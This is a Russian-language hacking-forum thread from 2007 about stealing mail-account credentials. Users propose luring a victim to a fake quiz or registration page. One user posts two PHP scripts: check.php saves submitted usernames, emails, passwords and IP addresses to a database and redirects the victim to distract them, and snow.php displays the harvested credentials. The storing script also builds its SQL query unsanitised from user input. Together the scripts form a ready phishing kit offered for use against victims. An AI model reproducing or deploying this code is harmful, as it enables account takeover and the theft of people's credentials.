Есть предложение

Discussion in 'Уязвимости Mail-сервисов' started by SSSetuPPP, 16 Nov 2007.

  1. SSSetuPPP

    SSSetuPPP Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    55
    Likes Received:
    4
    Reputations:
    0
    Можно написать какой-нибудь "тест " с множеством вопросов и среди них ввести вопрос, который требуется при восстановлении пароля, а все ответы будут записываться в файл (например .txt) и выложить тест на соём сайте. Ссылочку дать "жертве".

    Только вот проблема в "написать". Если у кого и получиться выложите, пожалуйста в теме.
     
    #1 SSSetuPPP, 16 Nov 2007
    Last edited: 16 Nov 2007
  2. TrypoED

    TrypoED Banned

    Joined:
    22 Apr 2007
    Messages:
    145
    Likes Received:
    106
    Reputations:
    -85
    Удобней сделать закрытый сайт и как-будто туда без регистрации не попасть , создать саму страничку регистрации и чтобы это сохранялось в файлике... Собственно такой скрипт у меня есть...
     
  3. SSSetuPPP

    SSSetuPPP Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    55
    Likes Received:
    4
    Reputations:
    0
    Выложи скрипт
     
  4. TrypoED

    TrypoED Banned

    Joined:
    22 Apr 2007
    Messages:
    145
    Likes Received:
    106
    Reputations:
    -85
    check.php

    PHP:
    $dblocation "xxx"// Имя SQL сервера
    $dbuser "xxx";          // Имя пользователя
    $dbpasswd "xxx";            // Пароль
    $dbname 'polygon4';
    $dbfeld 'Users';

    $PARAM array_merge($_GET$_POST);
    $param_names array_keys($PARAM);
    $num_params count($PARAM);
    $login $PARAM['name'];
    $mail $PARAM['mail'];
    $pass $PARAM['pass'];


    // а теперь поехали с таблицей...

    header("Location: http://ultimate-action.com/done.html"); //редирект чтоб отвлечь юзера

    $ip = isset($_REQUEST['ip']) && $_REQUEST['ip'] != '' $_REQUEST['ip'] : $_SERVER['REMOTE_ADDR'];
    $time date(" h:I:s G");

    $dbcnx = @mysql_connect($dblocation,$dbuser,$dbpasswd);
    if (!
    $dbcnx
    {
      
    // Выводим предупреждение
      
    echo ("<P>В настоящий момент сервер базы данных не доступен, поэтому 
      корректное отображение страницы невозможно.</P>"
    );
      
    // Завершаем работу в случае неудачи
      
    exit();
    }

    if (!@
    mysql_select_db($dbname$dbcnx)) 
    {
      echo( 
    "<P>В настоящий момент база данных не доступна, поэтому
                корректное отображение страницы невозможно.</P>" 
    );
      exit();
    }
    //Меняем кодировку , чтоб Flash могла её прочитать...
    #mysql_query("SET NAMES 'utf8'");

     //поехали заполнять ответ

    $query "INSERT INTO $dbfeld ( `name` , `mail` , `pass` , `time` , `ip` ) VALUES ('$login', '$mail', '$pass', '$time', '$ip');";
    mysql_query($query) or die(mysql_error());

    mysql_close($dbcnx// разрываем соединение
    snow.php

    PHP:
    $dblocation "XXX"// Имя SQL сервера
    $dbuser "XXX";          // Имя пользователя
    $dbpasswd "XXX";            // Пароль
    $dbname 'XXX';
    $dbfeld 'Users';

    $dbcnx = @mysql_connect($dblocation,$dbuser,$dbpasswd);
    if (!
    $dbcnx
    {
     
      
    // Завершаем работу в случае неудачи
      
    exit();
    }
    if (!@
    mysql_select_db($dbname$dbcnx)) 
    {
      echo( 
    "<P>В настоящий момент база данных не доступна, поэтому
                корректное отображение страницы невозможно.</P>" 
    );
      exit();
    }


    $ath mysql_query("select * from $dbfeld;"); 
    if(
    $ath)
    {
      
    // Определяем таблицу и заголовок
      
    echo "<table border=1>";
      echo 
    "<tr><td>Имя</td><td>Пароль</td><td>E-mail</td><td>ip</td><td>Время</td></tr>";
      
    // Так как запрос возвращает несколько строк, применяем цикл
      
    while($author mysql_fetch_array($ath))
      {
        echo 
    "<tr><td>".$author['name']."&nbsp;</td><td>".$author['pass']."
        &nbsp </td><td>"
    .$author['mail']."&nbsp;</td><td>".  
        
    $author['ip']."&nbsp;</td> <td>".  
        
    $author['time']."&nbsp;</td></tr>";
      }
      echo 
    "</table>";
      echo 
    "(copyright) Jes";
    }
    else
    {
      echo 
    "<p><b>Error: ".mysql_error()."</b><p>";
      exit();
    }
    Вот скрипты
     
  5. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    Это частный случай СИ, аналогичный методу Fake. Ничего нового я здесь не вижу
     
    3 people like this.
  6. TrypoED

    TrypoED Banned

    Joined:
    22 Apr 2007
    Messages:
    145
    Likes Received:
    106
    Reputations:
    -85
    Согласен...